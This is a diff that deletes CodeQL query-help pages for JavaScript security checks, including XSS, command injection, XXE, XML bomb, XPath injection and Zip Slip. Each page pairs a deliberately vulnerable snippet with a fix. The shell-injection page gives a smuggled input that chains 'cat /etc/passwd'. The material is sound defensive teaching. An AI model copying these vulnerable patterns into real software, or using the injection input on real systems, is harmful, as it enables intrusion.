b/docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md deleted file mode 100644 index ea56a720e5c..00000000000 --- a/docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md +++ /dev/null @@ -1,71 +0,0 @@ -# Unsafe dynamic method access - -``` -ID: js/unsafe-dynamic-method-access -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-094 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-094/UnsafeDynamicMethodAccess.ql) - -Calling a user-controlled method on certain objects can lead to invocation of unsafe functions, such as `eval` or the `Function` constructor. In particular, the global object contains the `eval` function, and any function object contains the `Function` constructor in its `constructor` property. - - -## Recommendation -Avoid invoking user-controlled methods on the global object or on any function object. Whitelist the permitted method names or change the type of object the methods are stored on. - - -## Example -In the following example, a message from the document's parent frame can invoke the `play` or `pause` method. However, it can also invoke `eval`. A malicious website could embed the page in an iframe and execute arbitrary code by sending a message with the name `eval`. - - -```javascript -// API methods -function play(data) { - // ... -} -function pause(data) { - // ... -} - -window.addEventListener("message", (ev) => { - let message = JSON.parse(ev.data); - - // Let the parent frame call the 'play' or 'pause' function - window[message.name](message.payload); -}); - -``` -Instead of storing the API methods in the global scope, put them in an API object or Map. It is also good practice to prevent invocation of inherited methods like `toString` and `valueOf`. - - -```javascript -// API methods -let api = { - play: function(data) { - // ... - }, - pause: function(data) { - // ... - } -}; - -window.addEventListener("message", (ev) => { - let message = JSON.parse(ev.data); - - // Let the parent frame call the 'play' or 'pause' function - if (!api.hasOwnProperty(message.name)) { - return; - } - api[message.name](message.payload); -}); - -``` - -## References -* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). -* MDN: [Global functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects#Function_properties). -* MDN: [Function constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function). -* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeHtmlExpansion.md b/docs/language/query-help/javascript/UnsafeHtmlExpansion.md deleted file mode 100644 index 90e9d4b033e..00000000000 --- a/docs/language/query-help/javascript/UnsafeHtmlExpansion.md +++ /dev/null @@ -1,59 +0,0 @@ -# Unsafe expansion of self-closing HTML tag - -``` -ID: js/unsafe-html-expansion -Kind: problem -Severity: warning -Precision: very-high -Tags: correctness security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/UnsafeHtmlExpansion.ql) - -Sanitizing untrusted input for HTML meta-characters is an important technique for preventing cross-site scripting attacks. But even a sanitized input can be dangerous to use if it is modified further before a browser treats it as HTML. A seemingly innocent transformation that expands a self-closing HTML tag from `
    ` to `
    ` may in fact cause cross-site scripting vulnerabilities. - - -## Recommendation -Use a well-tested sanitization library if at all possible, and avoid modifying sanitized values further before treating them as HTML. - - -## Example -The following function transforms a self-closing HTML tag to a pair of open/close tags. It does so for all non-`img` and non-`area` tags, by using a regular expression with two capture groups. The first capture group corresponds to the name of the tag, and the second capture group to the content of the tag. - - -```javascript -function expandSelfClosingTags(html) { - var rxhtmlTag = /<(?!img|area)(([a-z][^\w\/>]*)[^>]*)\/>/gi; - return html.replace(rxhtmlTag, "<$1>"); // BAD -} - -``` -While it is generally known regular expressions are ill-suited for parsing HTML, variants of this particular transformation pattern have long been considered safe. - -However, the function is not safe. As an example, consider the following string: - - -```html -
    - -``` -When the above function transforms the string, it becomes a string that results in an alert when a browser treats it as HTML. - - -```html -
    -"/> - -``` - -## References -* jQuery: [Security fixes in jQuery 3.5.0](https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/) -* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeJQueryPlugin.md b/docs/language/query-help/javascript/UnsafeJQueryPlugin.md deleted file mode 100644 index 4009800a236..00000000000 --- a/docs/language/query-help/javascript/UnsafeJQueryPlugin.md +++ /dev/null @@ -1,57 +0,0 @@ -# Unsafe jQuery plugin - -``` -ID: js/unsafe-jquery-plugin -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 frameworks/jquery - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/UnsafeJQueryPlugin.ql) - -Library plugins, such as those for the jQuery library, are often configurable through options provided by the clients of the plugin. Clients, however, do not know the implementation details of the plugin, so it is important to document the capabilities of each option. The documentation for the plugin options that the client is responsible for sanitizing is of particular importance. Otherwise, the plugin may write user input (for example, a URL query parameter) to a web page without properly sanitizing it first, which allows for a cross-site scripting vulnerability in the client application through dynamic HTML construction. - - -## Recommendation -Document all options that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended. - - -## Example -The following example shows a jQuery plugin that selects a DOM element, and copies its text content to another DOM element. The selection is performed by using the plugin option `sourceSelector` as a CSS selector. - - -```javascript -jQuery.fn.copyText = function(options) { - // BAD may evaluate `options.sourceSelector` as HTML - var source = jQuery(options.sourceSelector), - text = source.text(); - jQuery(this).text(text); -} - -``` -This is, however, not a safe plugin, since the call to `jQuery` interprets `sourceSelector` as HTML if it is a string that starts with `<`. - -Instead of documenting that the client is responsible for sanitizing `sourceSelector`, the plugin can use `jQuery.find` to always interpret `sourceSelector` as a CSS selector: - - -```javascript -jQuery.fn.copyText = function(options) { - // GOOD may not evaluate `options.sourceSelector` as HTML - var source = jQuery.find(options.sourceSelector), - text = source.text(); - jQuery(this).text(text); -} - -``` - -## References -* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet). -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet). -* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS). -* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* jQuery: [Plugin creation](https://learn.jquery.com/plugins/basic-plugin-creation/). -* Bootstrap: [XSS vulnerable bootstrap plugins](https://github.com/twbs/bootstrap/pull/27047). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeShellCommandConstruction.md b/docs/language/query-help/javascript/UnsafeShellCommandConstruction.md deleted file mode 100644 index 390abbfaa6d..00000000000 --- a/docs/language/query-help/javascript/UnsafeShellCommandConstruction.md +++ /dev/null @@ -1,53 +0,0 @@ -# Unsafe shell command constructed from library input - -``` -ID: js/shell-command-constructed-from-input -Kind: path-problem -Severity: error -Precision: high -Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/UnsafeShellCommandConstruction.ql) - -Dynamically constructing a shell command with inputs from exported functions may inadvertently change the meaning of the shell command. Clients using the exported function may use inputs containing characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system. - - -## Recommendation -If possible, provide the dynamic arguments to the shell as an array using a safe API such as `child_process.execFile` to avoid interpretation by the shell. - -Alternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters do not alter the shell command unexpectedly. - - -## Example -The following example shows a dynamically constructed shell command that downloads a file from a remote URL. - - -```javascript -var cp = require("child_process"); - -module.exports = function download(path, callback) { - cp.exec("wget " + path, callback); -} - -``` -The shell command will, however, fail to work as intended if the input contains spaces or other special characters interpreted in a special way by the shell. - -Even worse, a client might pass in user-controlled data, not knowing that the input is interpreted as a shell command. This could allow a malicious user to provide the input `http://example.org; cat /etc/passwd` in order to execute the command `cat /etc/passwd`. - -To avoid such potentially catastrophic behaviors, provide the inputs from exported functions as an argument that does not get interpreted by a shell: - - -```javascript -var cp = require("child_process"); - -module.exports = function download(path, callback) { - cp.execFile("wget", [path], callback); -} - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md b/docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md deleted file mode 100644 index a56a81f8a2b..00000000000 --- a/docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md +++ /dev/null @@ -1,112 +0,0 @@ -# Unvalidated dynamic method call - -``` -ID: js/unvalidated-dynamic-method-call -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-754 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.ql) - -JavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods can be looked up by name and then called. However, if the method name is user-controlled, an attacker could choose a name that makes the application invoke an unexpected method, which may cause a runtime exception. If this exception is not handled, it could be used to mount a denial-of-service attack. - -For example, there might not be a method of the given name, or the result of the lookup might not be a function. In either case the method call will throw a `TypeError` at runtime. - -Another, more subtle example is where the result of the lookup is a standard library method from `Object.prototype`, which most objects have on their prototype chain. Examples of such methods include `valueOf`, `hasOwnProperty` and `__defineSetter__`. If the method call passes the wrong number or kind of arguments to these methods, they will throw an exception. - - -## Recommendation -It is best to avoid dynamic method lookup involving user-controlled names altogether, for instance by using a `Map` instead of a plain object. - -If the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At the very least, check that the method is an own property and not inherited from the prototype object. If the object on which the method is looked up contains properties that are not methods, you should additionally check that the result of the lookup is a function. Even if the object only contains methods, it is still a good idea to perform this check in case other properties are added to the object later on. - - -## Example -In the following example, an HTTP request parameter `action` property is used to dynamically look up a function in the `actions` map, which is then invoked with the `payload` parameter as its argument. - - -```javascript -var express = require('express'); -var app = express(); - -var actions = { - play(data) { - // ... - }, - pause(data) { - // ... - } -} - -app.get('/perform/:action/:payload', function(req, res) { - let action = actions[req.params.action]; - // BAD: `action` may not be a function - res.end(action(req.params.payload)); -}); - -``` -The intention is to allow clients to invoke the `play` or `pause` method, but there is no check that `action` is actually the name of a method stored in `actions`. If, for example, `action` is `rewind`, `action` will be `undefined` and the call will result in a runtime error. - -The easiest way to prevent this is to turn `actions` into a `Map` and using `Map.prototype.has` to check whether the method name is valid before looking it up. - - -```javascript -var express = require('express'); -var app = express(); - -var actions = new Map(); -actions.put("play", function play(data) { - // ... -}); -actions.put("pause", function pause(data) { - // ... -}); - -app.get('/perform/:action/:payload', function(req, res) { - if (actions.has(req.params.action)) { - let action = actions.get(req.params.action); - // GOOD: `action` is either the `play` or the `pause` function from above - res.end(action(req.params.payload)); - } else { - res.end("Unsupported action."); - } -}); - -``` -If `actions` cannot be turned into a `Map`, a `hasOwnProperty` check should be added to validate the method name: - - -```javascript -var express = require('express'); -var app = express(); - -var actions = { - play(data) { - // ... - }, - pause(data) { - // ... - } -} - -app.get('/perform/:action/:payload', function(req, res) { - if (actions.hasOwnProperty(req.params.action)) { - let action = actions[req.params.action]; - if (typeof action === 'function') { - // GOOD: `action` is an own method of `actions` - res.end(action(req.params.payload)); - return; - } - } - res.end("Unsupported action."); -}); - -``` - -## References -* OWASP: [Denial of Service](https://www.owasp.org/index.php/Denial_of_Service). -* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map). -* MDN: [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype). -* Common Weakness Enumeration: [CWE-754](https://cwe.mitre.org/data/definitions/754.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UselessRegExpCharacterEscape.md b/docs/language/query-help/javascript/UselessRegExpCharacterEscape.md deleted file mode 100644 index b13d05e6390..00000000000 --- a/docs/language/query-help/javascript/UselessRegExpCharacterEscape.md +++ /dev/null @@ -1,37 +0,0 @@ -# Useless regular-expression character escape - -``` -ID: js/useless-regexp-character-escape -Kind: problem -Severity: error -Precision: high -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/UselessRegExpCharacterEscape.ql) - -When a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence `\n` in a string literal corresponds to a single `newline` character, and not the `\` and `n` characters. However, not all characters change meaning when used in an escape sequence. In this case, the backslash just makes the character appear to mean something else, and the backslash actually has no effect. For example, the escape sequence `\k` in a string literal just means `k`. Such superfluous escape sequences are usually benign, and do not change the behavior of the program. - -The set of characters that change meaning when in escape sequences is different for regular expression literals and string literals. This can be problematic when a regular expression literal is turned into a regular expression that is built from one or more string literals. The problem occurs when a regular expression escape sequence loses its special meaning in a string literal. - - -## Recommendation -Ensure that the right amount of backslashes is used when escaping characters in strings, template literals and regular expressions. Pay special attention to the number of backslashes when rewriting a regular expression as a string literal. - - -## Example -The following example code checks that a string is `"my-marker"`, possibly surrounded by white space: - - -```javascript -let regex = new RegExp('(^\s*)my-marker(\s*$)'), - isMyMarkerText = regex.test(text); - -``` -However, the check does not work properly for white space as the two `\s` occurrences are semantically equivalent to just `s`, meaning that the check will succeed for strings like `"smy-markers"` instead of `" my-marker "`. Address these shortcomings by either using a regular expression literal (`/(^\s*)my-marker(\s*$)/`), or by adding extra backslashes (`'(^\\s*)my-marker(\\s*$)'`). - - -## References -* MDN: [Regular expression escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping) -* MDN: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation) -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UselessUseOfCat.md b/docs/language/query-help/javascript/UselessUseOfCat.md deleted file mode 100644 index 7e80c7ae41e..00000000000 --- a/docs/language/query-help/javascript/UselessUseOfCat.md +++ /dev/null @@ -1,51 +0,0 @@ -# Unnecessary use of `cat` process - -``` -ID: js/unnecessary-use-of-cat -Kind: problem -Severity: error -Precision: high -Tags: correctness security maintainability - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/UselessUseOfCat.ql) - -Using the unix command `cat` only to read a file is an unnecessarily complex way to achieve something that can be done in a simpler and safer manner using the Node.js `fs.readFile` API. - -The use of `cat` for simple file reads leads to code that is unportable, inefficient, complex, and can lead to subtle bugs or even security vulnerabilities. - - -## Recommendation -Use `fs.readFile` or `fs.readFileSync` to read files from the file system. - - -## Example -The following example shows code that reads a file using `cat`: - - -```javascript -var child_process = require('child_process'); - -module.exports = function (name) { - return child_process.execSync("cat " + name).toString(); -}; - -``` -The code in the example will break if the input `name` contains special characters (including space). Additionally, it does not work on Windows and if the input is user-controlled, a command injection attack can happen. - -The `fs.readFile` API should be used to avoid these potential issues: - - -```javascript -var fs = require('fs'); - -module.exports = function (name) { - return fs.readFileSync(name).toString(); -}; - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Node.js: [File System API](https://nodejs.org/api/fs.html). -* [The Useless Use of Cat Award](http://porkmail.org/era/unix/award.html#cat). \ No newline at end of file diff --git a/docs/language/query-help/javascript/XmlBomb.md b/docs/language/query-help/javascript/XmlBomb.md deleted file mode 100644 index 991466c94e4..00000000000 --- a/docs/language/query-help/javascript/XmlBomb.md +++ /dev/null @@ -1,62 +0,0 @@ -# XML internal entity expansion - -``` -ID: js/xml-bomb -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-776 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-776/XmlBomb.ql) - -Parsing untrusted XML files with a weakly configured XML parser may be vulnerable to denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion. - -In XML, so-called *internal entities* are a mechanism for introducing an abbreviation for a piece of text or part of a document. When a parser that has been configured to expand entities encounters a reference to an internal entity, it replaces the entity by the data it represents. The replacement text may itself contain other entity references, which are expanded recursively. This means that entity expansion can increase document size dramatically. - -If untrusted XML is parsed with entity expansion enabled, a malicious attacker could submit a document that contains very deeply nested entity definitions, causing the parser to take a very long time or use large amounts of memory. This is sometimes called an *XML bomb* attack. - - -## Recommendation -The safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxmljs` (though not its SAX parser API), disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action is needed. - - -## Example -The following example uses the XML parser provided by the `node-expat` package to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to a DoS attack, since `node-expat` expands internal entities by default: - - -```javascript -const app = require("express")(), - expat = require("node-expat"); - -app.post("upload", (req, res) => { - let xmlSrc = req.body, - parser = new expat.Parser(); - parser.on("startElement", handleStart); - parser.on("text", handleText); - parser.write(xmlSrc); -}); - -``` -At the time of writing, `node-expat` does not provide a way of controlling entity expansion, but the example could be rewritten to use the `sax` package instead, which only expands standard entities such as `&`: - - -```javascript -const app = require("express")(), - sax = require("sax"); - -app.post("upload", (req, res) => { - let xmlSrc = req.body, - parser = sax.parser(true); - parser.onopentag = handleStart; - parser.ontext = handleText; - parser.write(xmlSrc); -}); - -``` - -## References -* Wikipedia: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs). -* Bryan Sullivan: [Security Briefs - XML Denial of Service Attacks and Defenses](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx). -* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/XpathInjection.md b/docs/language/query-help/javascript/XpathInjection.md deleted file mode 100644 index 72f34bdb259..00000000000 --- a/docs/language/query-help/javascript/XpathInjection.md +++ /dev/null @@ -1,65 +0,0 @@ -# XPath injection - -``` -ID: js/xpath-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-643 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-643/XpathInjection.ql) - -If an XPath expression is built using string concatenation, and the components of the concatenation include user input, it makes it very easy for a user to create a malicious XPath expression. - - -## Recommendation -If user input must be included in an XPath expression, either sanitize the data or use variable references to safely embed it without altering the structure of the expression. - - -## Example -In this example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression constructed using the `xpath` package. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. - - -```javascript -const express = require('express'); -const xpath = require('xpath'); -const app = express(); - -app.get('/some/route', function(req, res) { - let userName = req.param("userName"); - - // BAD: Use user-provided data directly in an XPath expression - let badXPathExpr = xpath.parse("//users/user[login/text()='" + userName + "']/home_dir/text()"); - badXPathExpr.select({ - node: root - }); -}); - -``` -Instead, embed the user input using the variable replacement mechanism offered by `xpath`: - - -```javascript -const express = require('express'); -const xpath = require('xpath'); -const app = express(); - -app.get('/some/route', function(req, res) { - let userName = req.param("userName"); - - // GOOD: Embed user-provided data using variables - let goodXPathExpr = xpath.parse("//users/user[login/text()=$userName]/home_dir/text()"); - goodXPathExpr.select({ - node: root, - variables: { userName: userName } - }); -}); - -``` - -## References -* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). -* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). -* npm: [xpath](https://www.npmjs.com/package/xpath). -* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/Xss.md b/docs/language/query-help/javascript/Xss.md deleted file mode 100644 index 96bdf54de2f..00000000000 --- a/docs/language/query-help/javascript/Xss.md +++ /dev/null @@ -1,43 +0,0 @@ -# Client-side cross-site scripting - -``` -ID: js/xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/Xss.ql) - -Directly writing user input (for example, a URL query parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - -This kind of vulnerability is also called *DOM-based* cross-site scripting, to distinguish it from other types of cross-site scripting. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. - - -## Example -The following example shows part of the page URL being written directly to the document, leaving the website vulnerable to cross-site scripting. - - -```javascript -function setLanguageOptions() { - var href = document.location.href, - deflt = href.substring(href.indexOf("default=")+8); - document.write(""); - document.write(""); -} - -``` - -## References -* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS). -* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/XssThroughDom.md b/docs/language/query-help/javascript/XssThroughDom.md deleted file mode 100644 index f469cc8a7d2..00000000000 --- a/docs/language/query-help/javascript/XssThroughDom.md +++ /dev/null @@ -1,53 +0,0 @@ -# DOM text reinterpreted as HTML - -``` -ID: js/xss-through-dom -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/XssThroughDom.ql) - -Extracting text from a DOM node and interpreting it as HTML can lead to a cross-site scripting vulnerability. - -A webpage with this vulnerability reads text from the DOM, and afterwards adds the text as HTML to the DOM. Using text from the DOM as HTML effectively unescapes the text, and thereby invalidates any escaping done on the text. If an attacker is able to control the safe sanitized text, then this vulnerability can be exploited to perform a cross-site scripting attack. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing text to the page, or one of the other solutions that are mentioned in the References section below. - - -## Example -The following example shows a webpage using a `data-target` attribute to select and manipulate a DOM element using the JQuery library. In the example, the `data-target` attribute is read into the `target` variable, and the `$` function is then supposed to use the `target` variable as a CSS selector to determine which element should be manipulated. - - -```javascript -$("button").click(function () { - var target = $(this).attr("data-target"); - $(target).hide(); -}); - -``` -However, if an attacker can control the `data-target` attribute, then the value of `target` can be used to cause the `$` function to execute arbitary JavaScript. - -The above vulnerability can be fixed by using `$.find` instead of `$`. The `$.find` function will only interpret `target` as a CSS selector and never as HTML, thereby preventing an XSS attack. - - -```javascript -$("button").click(function () { - var target = $(this).attr("data-target"); - $.find(target).hide(); -}); - -``` - -## References -* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [DOM Based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS). -* OWASP [Types of Cross-Site Scripting](https://owasp.org/www-community/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/Xxe.md b/docs/language/query-help/javascript/Xxe.md deleted file mode 100644 index 5529c85fa3a..00000000000 --- a/docs/language/query-help/javascript/Xxe.md +++ /dev/null @@ -1,53 +0,0 @@ -# XML external entity expansion - -``` -ID: js/xxe -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-611 external/cwe/cwe-827 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-611/Xxe.ql) - -Parsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible and out-of-band data retrieval techniques may allow attackers to steal sensitive data. - - -## Recommendation -The easiest way to prevent XXE attacks is to disable external entity handling when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxml`, disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action needs to be taken. - - -## Example -The following example uses the `libxml` XML parser to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since the parser is invoked with the `noent` option set to `true`: - - -```javascript -const app = require("express")(), - libxml = require("libxmljs"); - -app.post("upload", (req, res) => { - let xmlSrc = req.body, - doc = libxml.parseXml(xmlSrc, { noent: true }); -}); - -``` -To guard against XXE attacks, the `noent` option should be omitted or set to `false`. This means that no entity expansion is undertaken at all, not even for standard internal entities such as `&` or `>`. If desired, these entities can be expanded in a separate step using utility functions provided by libraries such as [underscore](http://underscorejs.org/#unescape), [lodash](https://lodash.com/docs/latest#unescape) or [he](https://github.com/mathiasbynens/he). - - -```javascript -const app = require("express")(), - libxml = require("libxmljs"); - -app.post("upload", (req, res) => { - let xmlSrc = req.body, - doc = libxml.parseXml(xmlSrc); -}); - -``` - -## References -* OWASP: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing). -* Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://www.vsecurity.com//download/publications/XMLDTDEntityAttacks.pdf). -* Timur Yunusov, Alexey Osipov: [XML Out-Of-Band Data Retrieval](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf). -* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html). -* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ZipSlip.md b/docs/language/query-help/javascript/ZipSlip.md deleted file mode 100644 index 390c5a75aca..00000000000 --- a/docs/language/query-help/javascript/ZipSlip.md +++ /dev/null @@ -1,68 +0,0 @@ -# Arbitrary file write during zip extraction ("Zip Slip") - -``` -ID: js/zipslip -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-022/ZipSlip.ql) - -Extracting files from a malicious zip archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. - -Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. - - -## Recommendation -Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. - -The recommended way of writing an output file from a zip archive entry is to check that `".."` does not occur in the path. - - -## Example -In this example an archive is extracted without validating file paths. If `archive.zip` contained relative paths (for instance, if it were created by something like `zip archive.zip ../file.txt`) then executing this code could write to locations outside the destination directory. - - -```javascript -const fs = require('fs'); -const unzip = require('unzip'); - -fs.createReadStream('archive.zip') - .pipe(unzip.Parse()) - .on('entry', entry => { - const fileName = entry.path; - // BAD: This could write any file on the filesystem. - entry.pipe(fs.createWriteStream(fileName)); - }); - -``` -To fix this vulnerability, we need to check that the path does not contain any `".."` elements in it. - - -```javascript -const fs = require('fs'); -const unzip = require('unzip'); - -fs.createReadStream('archive.zip') - .pipe(unzip.Parse()) - .on('entry', entry => { - const fileName = 